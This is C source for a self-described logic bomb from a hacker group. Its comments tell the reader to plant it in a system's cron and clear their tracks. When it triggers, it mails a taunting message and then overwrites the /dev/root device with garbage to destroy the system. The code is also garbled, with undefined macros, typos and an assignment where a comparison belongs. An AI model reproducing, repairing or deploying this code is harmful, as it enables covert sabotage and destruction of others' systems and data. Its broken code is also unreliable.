/*  This is a Technophoria Release Coded by Bronc Buster

 /   ****************************************************

 /      WARNING WARNING WARNING WARNING WARNING WARNING

 /   ****************************************************

 /   This program is EXTREMLY Dangerous if you do not

 /   know what you are doing. This is a Fully functional

 /   Logic Bomb. It has been tested on Linux with the 2.0.1

 /   Kernal with perfect results (Well after it went off we 

 /   had to reinstall because we counldn't use any commands.

 /   To Complie type:

 /

 /                cc -O smlogic.c -o smlogic

 /

 /   This version is ment to be placed into a systems

 /   Cron file and run long after you have exited the

 /   system and cleared your tracks. It also accepts command

 /   line input: smlogic username (or NOHUP smlogin username)

 /   If a Bogus username is entered it will execute in a matter

 /   of Miliseconds, so you don't have much time to get clear.

 /   If NOT entered into a systems Cron file, you must run it as

 /   SUID or as ROOT.

 /

 /   The programmer and Technophoria take NO resonsiblilty for

 /   anything done with this program. It is nearly shown as an

 /   example for educational use only.

 */



 #include <stdio.h>

 #include <sys/types.h>

 #include <sys/stat.h>

 #include <pwd.h>



 /* enter a user name here to check for

 /  by replacing dickhead, or leave in place to crash

 /  on first attempt - user name is otherwise entered

 /  on command line */



 #define  DICK "dickhead"



 

 void crash (dick);



 int main (argc argv)

 char *argv[];



 {

  char buffer[256];

  char *dick;

  long elapsed, now, time();

  struct stat status;

  struct passwd *pwd, *getpwnam();



  FILE *fp, *popen();



  /* check to see if a user name was entered in the

  /  command line */

  if (argc == 2)

    {

    dick = argv[1];

    }

    else dick = DICK;



  /* get current time to check if user has logged in */

  now = time((long *)0);



  /* check to see if user is in the passwd file,

  /  if no user, crash() */

  pwd = getpwnam(dick);

  if (pwd == NULL)

    {

    crash(dick);

    }



  /* create the name of last_login file to check times */

  strcpy(buffer, pwd->pw_dir);

  strcat(buffer, "/.lastlogin");



  /* get time of last login, if none, crash() */

  if (stat(buffer, &status))

    {

    crash(dick);

    }



  /* checks times against each other, if result is <= 2

  /  weeks leave system alone */

  elapsed = now - status.st_mtime;

  if (elapsed <= (60L * 60 * 24 * 2))

    {



  

  exit(0);

 }



 /* Bomb Function */

 int crash (dick)

 {

  FILE *fp, *froot, *fopen();



  /* This is where we keep all the grabage in */

  char buffer[BUFSIZ];



  /* MAIL command - from above - */

  fp = popen(MAIL, "w");

  if (fp == NULL)

    {



  /* prints to error device a messegs if we can't get

  /  Mail to work :(  */

    fprintf(stderr,"Damn The Man!");

    exit(1);

    }



  /* Taunting furtune of upcoming doom */

  fprintf(fp," \tOn bahalf of Technophoria and the user\n");

  fprintf(fp," \tof this program, we would like to thank\n");

  fprintf(fp," \tyou for useing our product - Your system is\n");

  fprintf(fp," \tnow TOASTED!!");

  fpclose(fp);



  /* Time to do the Real Damage -

  /  We are opening the Root Device and are

  /  going to write to it */

  froot = fopen("/dev/root", "w");

  if (froot = NULL)

    {

    fprintf(stderr,"Someone Messed Up! I Can't Crash Crap!");

    exit(-1);

    }



  /* Damage time - We write grabage into the

  /  root device untill ALL the blocks are Full! */

  while(fwrite(buffer, BIFSIZ, 1, froot) != NULL);

  fclose(froot);



  /* Thats that, it's toast! */

  exit (0);

 }